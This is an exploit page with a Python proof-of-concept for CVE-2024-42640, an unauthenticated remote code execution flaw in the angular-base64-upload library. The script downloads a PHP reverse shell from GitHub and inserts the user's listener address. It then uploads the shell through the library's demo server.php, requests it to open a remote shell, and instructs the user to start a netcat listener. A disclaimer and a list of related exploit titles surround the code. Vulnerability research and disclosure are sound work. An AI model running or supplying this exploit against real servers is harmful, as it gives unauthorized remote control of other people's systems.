Angular-Base64-Upload Library 0.1.20 – Remote Code Execution (RCE)

# Exploit Title: Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE)

# Date: 10 October 2024

# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9)

# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9)

# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload

# Software Link: https://github.com/adonespitogo/angular-base64-upload

# Version: prior to v0.1.21

# Tested on: Arch Linux

# CVE : CVE-2024-42640

# Severity: Critical - 10.0 (CVSS 4.0)

# Github Link : https://github.com/rvizx/CVE-2024-42640

# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html

# DISCLAIMER:

# This proof-of-concept (POC) exploit is provided strictly for educational and research purposes.

# It is designed to demonstrate potential vulnerabilities and assist in testing the security posture of software systems.

# The author expressly disclaims any responsibility for the misuse of this code for malicious purposes or illegal activities.

# Any actions taken with this code are undertaken at the sole discretion and risk of the user.

# The author does not condone, encourage, or support any unauthorized access, intrusion, or disruption of computer systems.

# Use of this POC exploit in any unauthorized or unethical manner is strictly prohibited.

# By using this code, you agree to assume all responsibility and liability for your actions.

# Furthermore, the author shall not be held liable for any damages or legal repercussions resulting from the use or misuse of this code.

# It is your responsibility to ensure compliance with all applicable laws and regulations governing your use of this software.

# Proceed with caution and use this code responsibly.

#!/bin/python3

import re

import subprocess

import requests

import sys

import os

import uuid

import base64

def banner():

print('''

\033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit

\033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9

https://github.com/rvizx/\033[0mCVE-2024-42640

''')

def enum(url):

print("\033[94m[inf]:\033[0m enumerating for dependency installtion directories... ")

target = f"{url}/bower_components/angular-base64-upload/demo/index.html"

r = requests.head(target)

if r.status_code == 200:

print("\033[94m[inf]:\033[0m target is using bower_components")

else:

print("\033[94m[inf]:\033[0m target is not using bower_components")

target = f"{url}/node_modules/angular-base64-upload/demo/index.html"

r = requests.head(target)

if r.status_code == 200:

print("\033[94m[inf]:\033[0m target is using node_modules")

else:

print("\033[94m[inf]:\033[0m target is not using node_modules")

print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for angular-base64-upload/demo/index.html")

print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")

print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")

print("\033[91m[err]:\033[0m exiting..")

exit()

version = next((line for line in requests.get(target.replace("demo/index.html","CHANGELOG.md")).text.splitlines() if 'v0' in line), None)

print("\033[94m[inf]:\033[0m angular-base64-upload version: ",version)

exploit(target)

def exploit(target):

print(f"[dbg]: {target}")

target_server_url = target.replace("index.html","server.php")

print(f"[dbg]: {target_server_url}")

payload_url = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"

print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")

ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")

port = input("\033[93m[ins]:\033[0m enter listenter port: ")

print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")

input("\033[93m[ins]:\033[0m press enter to continue...")

print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")

response = requests.get(payload_url)

if response.status_code == 200:

php_code = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input

payload_name = str(uuid.uuid4())+".php" # using a uuid for payload name

with open(payload_name, "w") as file:

file.write(php_code)

else:

print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")

print("\033[91m[err]:\033[0m exiting..")

exit()

with open(payload_name, 'rb') as file:

file_content = file.read()

base64_payload = base64.b64encode(file_content).decode('utf-8')

headers = {

'Content-Type': 'application/json',

}

json_data = {

'base64': base64_payload,

'filename': payload_name,

}

response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)

print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)

updemo_endpoint = f"uploads/{payload_name}"

print(f"[dbg]: {updemo_endpoint}")

payload_url = target_server_url.replace("server.php",updemo_endpoint)

print(f"[dbg]: {payload_url}")

if response.status_code == 200:

print(f"\033[94m[inf]:\033[0m reverse-shell is uploaded to {payload_url}")

print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")

r = requests.get(payload_url)

if r.status_code == 200:

print("\033[94m[inf]:\033[0m process complete!")

else:

print("\033[91m[err]:\033[0m something went wrong!")

print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")

if __name__ == "__main__":

try:

banner()

url = sys.argv[1]

print(f"\033[94m[inf]:\033[0m target: {url}")

enum(url)

except:

print("[usg]: ./exploit.py <target-url>")

exit()

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow